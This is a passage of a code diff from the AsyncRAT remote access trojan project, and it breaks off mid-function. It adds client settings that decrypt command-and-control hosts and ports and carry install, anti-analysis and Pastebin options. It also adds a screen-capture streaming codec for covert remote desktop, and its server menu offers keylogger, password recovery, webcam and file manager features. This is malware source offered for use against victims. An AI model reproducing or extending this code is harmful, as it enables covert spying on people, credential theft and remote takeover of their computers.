<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
</root>
|
@ -28,7 +28,7 @@ namespace Client.Helper
|
||||
sb.Append(Environment.MachineName);
|
||||
sb.Append(Environment.OSVersion);
|
||||
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
|
||||
return GetHash(sb.ToString()).Substring(0, 15).ToUpper();
|
||||
return GetHash(sb.ToString());
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
@ -39,7 +39,7 @@ namespace Client.Helper
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString();
|
||||
return strResult.ToString().Substring(0, 15).ToUpper();
|
||||
}
|
||||
|
||||
private static Mutex _appMutex;
|
85
AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs
Normal file
85
AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs
Normal file
@ -0,0 +1,85 @@
|
||||
using Client.Algorithm;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
public static class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
public static string Ports = "6606";
|
||||
public static string Hosts = "127.0.0.1";
|
||||
public static string Version = "0.5.2";
|
||||
public static string Install = "false";
|
||||
public static string InstallFolder = "AppData";
|
||||
public static string InstallFile = "Test.exe";
|
||||
public static string Key = "NYAN CAT";
|
||||
public static string MTX = "%MTX%";
|
||||
public static string Certificate = "%Certificate%";
|
||||
public static string Serversignature = "%Serversignature%";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static string Anti = "false";
|
||||
public static Aes256 aes256 = new Aes256(Key);
|
||||
public static string Pastebin = "null";
|
||||
public static string BDOS = "false";
|
||||
|
||||
#else
|
||||
public static string Ports = "%Ports%";
|
||||
public static string Hosts = "%Hosts%";
|
||||
public static string Version = "%Version%";
|
||||
public static string Install = "%Install%";
|
||||
public static string InstallFolder = "%Folder%";
|
||||
public static string InstallFile = "%File%";
|
||||
public static string Key = "%Key%";
|
||||
public static string MTX = "%MTX%";
|
||||
public static string Certificate = "%Certificate%";
|
||||
public static string Serversignature = "%Serversignature%";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static string Anti = "%Anti%";
|
||||
public static Aes256 aes256;
|
||||
public static string Pastebin = "%Pastebin%";
|
||||
public static string BDOS = "%BDOS%";
|
||||
#endif
|
||||
|
||||
|
||||
public static bool InitializeSettings()
|
||||
{
|
||||
#if DEBUG
|
||||
return true;
|
||||
#endif
|
||||
try
|
||||
{
|
||||
Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
|
||||
aes256 = new Aes256(Key);
|
||||
Ports = aes256.Decrypt(Ports);
|
||||
Hosts = aes256.Decrypt(Hosts);
|
||||
Version = aes256.Decrypt(Version);
|
||||
Install = aes256.Decrypt(Install);
|
||||
MTX = aes256.Decrypt(MTX);
|
||||
Pastebin = aes256.Decrypt(Pastebin);
|
||||
Anti = aes256.Decrypt(Anti);
|
||||
BDOS = aes256.Decrypt(BDOS);
|
||||
Serversignature = aes256.Decrypt(Serversignature);
|
||||
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
|
||||
return VerifyHash();
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
private static bool VerifyHash()
|
||||
{
|
||||
try
|
||||
{
|
||||
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
|
||||
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
20
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
20
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
Normal file
@ -0,0 +1,20 @@
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
||||
/// <summary>
|
||||
/// The Previous and next image size must be equal
|
||||
/// </summary>
|
||||
RequireSameSize,
|
||||
/// <summary>
|
||||
/// If the codec is having a stream buffer
|
||||
/// </summary>
|
||||
HasBuffers,
|
||||
/// <summary>
|
||||
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||
/// </summary>
|
||||
AutoDispose,
|
||||
/// <summary> No codec options were used </summary>
|
||||
None
|
||||
};
|
||||
}
|
44
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
44
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
Normal file
@ -0,0 +1,44 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
||||
}
|
35
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
35
AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
Normal file
@ -0,0 +1,35 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
protected JpgCompression jpgCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
public int ImageQuality { get; set; }
|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
||||
}
|
@ -0,0 +1,338 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
bool UseJPEG;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if(FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*int maxHeight = 0;
|
||||
int maxWidth = 0;
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
if (finalUpdates[i].Height > maxHeight)
|
||||
maxHeight = finalUpdates[i].Height;
|
||||
maxWidth += finalUpdates[i].Width;
|
||||
}
|
||||
|
||||
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||
int XOffset = 0;*/
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||
}
|
||||
XOffset += TmpBmp.Width;*/
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
if (UseJPEG)
|
||||
{
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
}
|
||||
else
|
||||
{
|
||||
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||
}
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
{
|
||||
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||
bool Won = lele.Length < outStream.Length;
|
||||
bool CompressWon = compressed.Length < outStream.Length;
|
||||
Console.WriteLine(Won + ", " + CompressWon);
|
||||
}
|
||||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,49 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num2 = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num2; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,52 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int i = 0; i < imageEncoders.Length; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
@ -280,7 +280,7 @@
|
||||
//
|
||||
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
|
||||
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
|
||||
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
|
||||
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -288,7 +288,7 @@
|
||||
//
|
||||
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
|
||||
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
|
||||
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.keyloggerToolStripMenuItem1.Text = "Keylogger";
|
||||
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -296,7 +296,7 @@
|
||||
//
|
||||
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
|
||||
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
|
||||
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
|
||||
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -304,7 +304,7 @@
|
||||
//
|
||||
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
|
||||
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
|
||||
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.fileManagerToolStripMenuItem1.Text = "File Manager";
|
||||
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -312,7 +312,7 @@
|
||||
//
|
||||
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
|
||||
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
|
||||
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
|
||||
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
|
||||
this.processManagerToolStripMenuItem1.Text = "Process Manager";
|
||||
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
|
||||
//
|
||||
@ -323,7 +323,7 @@
|
||||
this.stopToolStripMenuItem2});
|
||||
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
|
||||
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
|
||||
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
|
||||
this.reportWindowToolStripMenuItem.Text = "Report Window";
|
||||
//
|
||||
// runToolStripMenuItem1
|
||||
@ -344,7 +344,7 @@
|
||||
//
|
||||
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
|
||||
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
|
||||
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
|
||||
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
|
||||
this.webcamToolStripMenuItem.Text = "Webcam";
|
||||
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
|
||||
//
|
@ -16,7 +16,6 @@ using Server.Handle_Packet;
|
||||
using Server.Helper;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
/*
|
||||
│ Author : NYAN CAT
|
||||
@ -618,19 +617,20 @@ namespace Server
|
||||
|
||||
private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
//DLL Plugin
|
||||
